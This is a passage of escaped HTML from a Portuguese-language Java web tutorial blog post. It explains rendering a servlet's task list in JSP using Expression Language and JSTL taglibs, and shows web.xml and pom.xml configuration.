        req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tarefas&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tarefas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt; rd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/WEB-INF/index.jsp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        rd&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que estamos passando uma lista (estática) de tarefas como atributo da requisição (&lt;code class=&quot;language-text&quot;&gt;req.setAttribute&lt;/code&gt;) que acionará o &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt;. O próximo passo é imprimir tais tarefas no &lt;em&gt;JSP&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;(Unified) Expression Language&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;JSP&lt;/em&gt; possui um recurso chamado de &lt;em&gt;Scriptlets&lt;/em&gt;, que permite que você escreva de forma explícita código &lt;em&gt;Java&lt;/em&gt; em arquivos &lt;em&gt;JSP&lt;/em&gt; através de &lt;em&gt;scripts&lt;/em&gt; (mais ou menos o que podemos ver em linguagens como &lt;em&gt;PHP&lt;/em&gt; e &lt;em&gt;ASP&lt;/em&gt;). Se você parar para considerar que &lt;em&gt;JSP&lt;/em&gt; é no fundo código &lt;em&gt;Java&lt;/em&gt; imprimindo &lt;em&gt;HTML&lt;/em&gt;, essa ideia não parece ser tão louca assim.&lt;/p&gt;
&lt;p&gt;Oras... estamos em 2019, e já estamos cansados de saber que escrever &lt;em&gt;HTML&lt;/em&gt; misturado com lógica de negócios não é uma boa ideia.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/894f9dbd87ad44f1dc1a5278d0196611/07f3a/java-sauron.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAD/9oADAMBAAIQAxAAAAHHYVuF1SBR/8QAGRABAQADAQAAAAAAAAAAAAAAAQIAAxAR/9oACAEBAAEFAtcjiS8ivMdgc//EABcRAQADAAAAAAAAAAAAAAAAAAIBEBH/2gAIAQMBAT8BMnK//8QAFhEBAQEAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/AUdn/8QAGRAAAwADAAAAAAAAAAAAAAAAARARACFB/9oACAEBAAY/AjeZAHpf/8QAGhAAAwEBAQEAAAAAAAAAAAAAAAERITFBcf/aAAgBAQABPyGw5S/TNCypoa096qYg7smjdZ//2gAMAwEAAgADAAAAELzv/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAERMf/aAAgBAwEBPxDRHKf/xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAIAQIBAT8Qykf/xAAbEAEBAQACAwAAAAAAAAAAAAABEQAhYUGxwf/aAAgBAQABPxDoFHpprJkUV8jiEatAFE6yRDUWeD66w7//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Sauron em O Senhor dos Anéis&quot;
        title=&quot;Renda-se a Sauron! Digo, Java! (inews.co.uk)&quot;
        src=&quot;/static/894f9dbd87ad44f1dc1a5278d0196611/07f3a/java-sauron.jpg&quot;
        srcset=&quot;/static/894f9dbd87ad44f1dc1a5278d0196611/7809d/java-sauron.jpg 192w,
/static/894f9dbd87ad44f1dc1a5278d0196611/4ecad/java-sauron.jpg 384w,
/static/894f9dbd87ad44f1dc1a5278d0196611/07f3a/java-sauron.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Renda-se a Sauron! Digo, Java! (inews.co.uk)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A partir da versão 2.0 da especificação do &lt;em&gt;JSP&lt;/em&gt; temos uma alternativa chamada &quot;Expression Language&quot; (ou &lt;em&gt;Unified Expression Language&lt;/em&gt;, a partir da versão 2.1).&lt;/p&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://en.wikipedia.org/wiki/Unified_Expression_Language&quot; title=&quot;Leia mais sobre EL&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Java Unified Expression Language is a special purpose programming language mostly used in Java web applications for embedding expressions into web pages. The Java specification writers and expert groups of the Java web-tier technologies have worked on a unified expression language which was first included in the JSP 2.1 specification (JSR-245), and later specified by itself in JSR-341, part of Java EE 7.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com ela, ao invés de escrevermos isso (quem teve contato com &lt;em&gt;PHP&lt;/em&gt; achará muito familiar):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;%= tarefa.getNome() %&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Escrevemos isso (similar a qualquer &lt;em&gt;engine&lt;/em&gt; de &lt;em&gt;templates&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;${tarefa.nome}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A &lt;em&gt;EL&lt;/em&gt; não é capaz de realizar operações como um &lt;code class=&quot;language-text&quot;&gt;for&lt;/code&gt;, por exemplo. Para isso, se quisermos &quot;fugir&quot; do uso de &lt;em&gt;scripts&lt;/em&gt;, temos um outro recurso à disposição.&lt;/p&gt;
&lt;h3&gt;Taglibs&lt;/h3&gt;
&lt;p&gt;Voltando a citar o &lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/usando-taglibs/&quot; title=&quot;Usando Taglibs&quot;&gt;material da &lt;em&gt;Caelum&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A Sun percebeu que os programadores estavam abusando do código Java no JSP e tentou criar algo mais &quot;natural&quot; (um ponto um tanto quanto questionável da maneira que foi apresentada no início), sugerindo o uso de tags para substituir trechos de código.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;O resultado final é um conjunto de tags (uma tag library, ou taglib) padrão, que possui, entre outras tags, a funcionalidade de instanciar objetos através do construtor sem argumentos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com esse recurso, ao invés de escrevermos isso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &amp;lt;% for (Tarefa tarefa : tarefas ) { %&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;%= tarefa.getNome() %&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &amp;lt;% } %&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Escreveremos isso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;%@ taglib uri=&quot;http://java.sun.com/jsp/jstl/core&quot; prefix=&quot;c&quot; %&gt;

(...)

&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;c:&lt;/span&gt;forEach&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;tarefa&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;${tarefas}&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;${tarefa.nome}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;c:&lt;/span&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E embora possa ser tentador cair na armadilha de discutir qual opção é melhor, eu diria que &lt;strong&gt;nenhuma delas&lt;/strong&gt;. Considere uma terceira alternativa, como o &lt;a href=&quot;https://www.thymeleaf.org/doc/articles/thvsjsp.html&quot; title=&quot;Spring MVC view layer: Thymeleaf vs. JSP&quot;&gt;&lt;em&gt;Thymeleaf&lt;/em&gt;&lt;/a&gt;, e não invista muito esforço nesse debate. Estamos em 2019, e discutir sobre &lt;em&gt;JSP x Taglibs&lt;/em&gt; é &quot;tão anos 2000&quot;.&lt;/p&gt;
&lt;p&gt;Por hora, vamos &quot;aceitar&quot; a combinação &lt;em&gt;EL&lt;/em&gt; + &lt;em&gt;JSTL&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Aplicando as alterações&lt;/h3&gt;
&lt;p&gt;Primeiro, precisamos alterar os atributos do nó &lt;code class=&quot;language-text&quot;&gt;web-app&lt;/code&gt;, do arquivo &lt;code class=&quot;language-text&quot;&gt;web.xml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token doctype&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span class=&quot;token doctype-tag&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;token name&quot;&gt;web-app&lt;/span&gt; &lt;span class=&quot;token name&quot;&gt;PUBLIC&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN&quot;&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;http://java.sun.com/dtd/web-app_2_3.dtd&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;web-app&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://java.sun.com/xml/ns/javaee&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xmlns:&lt;/span&gt;xsi&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2001/XMLSchema-instance&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xsi:&lt;/span&gt;schemaLocation&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;3.0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;display-name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Archetype Created Web Application&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;display-name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;web-app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Na sequência, precisamos instalar a interface de &lt;em&gt;JSTL&lt;/em&gt;, bem como sua implementação. Altere o arquivo &lt;code class=&quot;language-text&quot;&gt;pom.xml&lt;/code&gt; para ficar semelhante ao seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;project&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://maven.apache.org/POM/4.0.0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xmlns:&lt;/span&gt;xsi&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2001/XMLSchema-instance&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xsi:&lt;/span&gt;schemaLocation&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;modelVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;4.0.0&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;modelVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;com.kplaube&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;packaging&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;war&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;packaging&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.0-SNAPSHOT&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo Maven Webapp&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;http://maven.apache.org&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;maven.compiler.source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;11&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;maven.compiler.source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;maven.compiler.target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;11&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;maven.compiler.target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- Servlet --&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;javax.servlet&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
